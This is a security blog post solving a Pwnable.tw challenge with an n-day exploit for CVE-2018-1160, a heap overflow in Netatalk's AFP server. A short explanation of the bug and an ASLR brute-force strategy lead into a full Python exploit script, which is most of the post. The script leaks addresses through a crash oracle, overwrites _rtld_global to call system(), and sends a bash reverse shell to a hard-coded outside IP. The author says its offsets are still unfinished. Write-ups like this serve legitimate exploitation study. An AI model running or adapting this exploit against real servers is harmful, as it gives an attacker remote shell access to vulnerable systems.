shxdow's research notebook

Home · Blog · Archive · RSS

CVE-2018-1160: Netatalk RCE

This is the solution to a Pwnable.tw challenge, as well as an n-day exploit. At the time of writing only 87 88 players managed to solve it. The most troublesome part is finding the correct offset against the challenge server, which is Ubuntu 16.04 (Kernel x86-64 4.9.0)

Bug

The root cause has already been thoroughly explained in many other blog posts so I won’t delve too much into that.
AFP (Apple Filing Protocol) is an old server protocol that can be thought as SMB for Apple’s filesystem.
The vulnerability is a heap overflow in dsi_opensess.c that occurs when trying to open a new session with the server. The 255 bytes overflow allows an attacker to overwrite the pointer at which subsequent packets are written to. Given knowledge of the memory layout of the process, the second packet can be used to overwrite function pointers in memory, for example malloc’s interal hooks (i.e. __free_hook).

What hasn’t been touched upon as much is how to reliably defeat ASLR: the original discovery of the bug abused the fact that the binary wasn’t compiled with PIE (Position Indipendent Executable) enabled.

Application behaviour in regards to memory addresses validity

Due to the client-server architecture, the application behaves as a oracle by crashing the thread when writing to an invalid memory address and responding over the socket when writing to a valid one. Doing this allows an attacker to leak a memory address in \(2^8 \cdot 3\) attempts.

Bypass

This is work in progress, the final exploit needs its offsets to be adjusted against the challenge’s server.

Exploitation strategy

I chose to overwrite _rtld_global’s pointer, more specifically _rtld_global._dl_rtld_lock_recursive which is a function invocked when exit(...) is called, its function arguments can be found in _rtld_global._dl_load_lock

Full code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
from time import sleep
from random import uniform


elf = ELF('./afpd')
libc = ELF('./libc.so.6')

DSI_FLAGS = {
    "request": 0x0,
    "response": 0x1
}

DSI_CMD = {
    "get_status": 0x3,
    "open_sess": 0x4,
    "tickle": 0x5
}

if args['REMOTE']:
    HOST = "chall.pwnable.tw"
    PORT = 10002
else:
    HOST = "localhost"
    PORT = 5566

def new_dsi_header(flag, command, request_id, offset, data_len):

    DSI_FLAGS = p8(flag, endian='big')
    DSI_COMMAND = p8(command, endian='big')
    DSI_REQUEST_ID = p16(request_id, endian='big')
    DSI_ERROR = p32(offset, endian='big')
    DSI_DATA_LENGTH = p32(data_len, endian='big')
    DSI_RESERVED = p32(0x0, endian='big')

    pck  = DSI_FLAGS
    pck += DSI_COMMAND
    pck += DSI_REQUEST_ID
    pck += DSI_ERROR
    pck += DSI_DATA_LENGTH
    pck += DSI_RESERVED

    return pck

def send_afp(payload, req_id=0x0):

    context(endian='big')

    io = remote(HOST, PORT, level='error')

    error_code = 0x0

    p = p8(0x1, endian='big')
    p += p8(16 + len(payload), endian='big')
    p += p32(0x41414141)
    p += p32(0x42424242)
    p += p32(0x66666666)    # server quantum
    p += p32(0x43434343)    # client/server id
    p += payload            # cmd pointer

    packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id, error_code, len(p))
    packet += p

    io.send(packet)
    io.recv()

    try:
        reverse_shell = b"bash -c 'bash -i >& /dev/tcp/139.162.131.224/12345 0>&1' \x00"
        trigger = reverse_shell.ljust(0x5f8) + p64(libc_base + libc.symbols['system'], endian='little')
        packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id+1, error_code, len(trigger))
        packet += trigger
    except:
        pass

    try:
        io.send(packet)
        io.close()
    except Exception as ex:
        pass

def bruteforce_aslr():
    context(endian='big')
    leak_addr = b''

    req_id = 0x0
    error_code = 0x0

    if args['SKIP']:
        return int(args['SKIP'], 0)

    for b in range(8):
        for i in range(256):
            print(f"[*] trying byte: {hex(i)} in offsetÊ{b}", end="\r")
            io = remote(HOST, PORT, level='error')

            payload = b"\x01" + p8(0x11 + b) + b"a"*0x10 + leak_addr + p8(i)
            packet = new_dsi_header(DSI_FLAGS["request"], DSI_CMD["open_sess"], req_id, error_code, len(payload))
            packet += payload

            io.send(packet)
            try:
                a = io.recv()
                leak_addr += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()

    print("\n")
    log.success(hex(u64(leak_addr,endian='little')) + "\n")

    return int.from_bytes(leak_addr, 'little')

rtld_off = 0x61b060
_dl_load_lock_off = 2312
leaked_addr = bruteforce_aslr()
print("memory address: " + hex(leaked_addr))

if args['LIBC_OFF']:
    libc_base = leaked_addr - 0x817000
    rtld_addr = libc_base + rtld_off + _dl_load_lock_off

    try:
        send_afp(p64(rtld_addr, endian='little'))
    except:
        pass
else:
    # try every memory page-aligned address (assuming leaked_addr is page-aligned)
    # for offset in range(-0xfffff000, 0xfffff000, 0x1000):
    for offset in range(0, 0x6000000, 0x1000):
        for rtld_off in [0x61b060, 0xed4060]:

            libc_base = leaked_addr - offset
            rtld_addr = libc_base + rtld_off + _dl_load_lock_off

            try:
                r = uniform(0, 0.2)
                print(f"[*] looking for libc base: {hex(libc_base + offset)} - {hex(offset)}, waiting {r}", end="\r")
                sleep(r)
                send_afp(p64(rtld_addr, endian='little'))
            except:
                pass

    print("\n")
    log.success("end")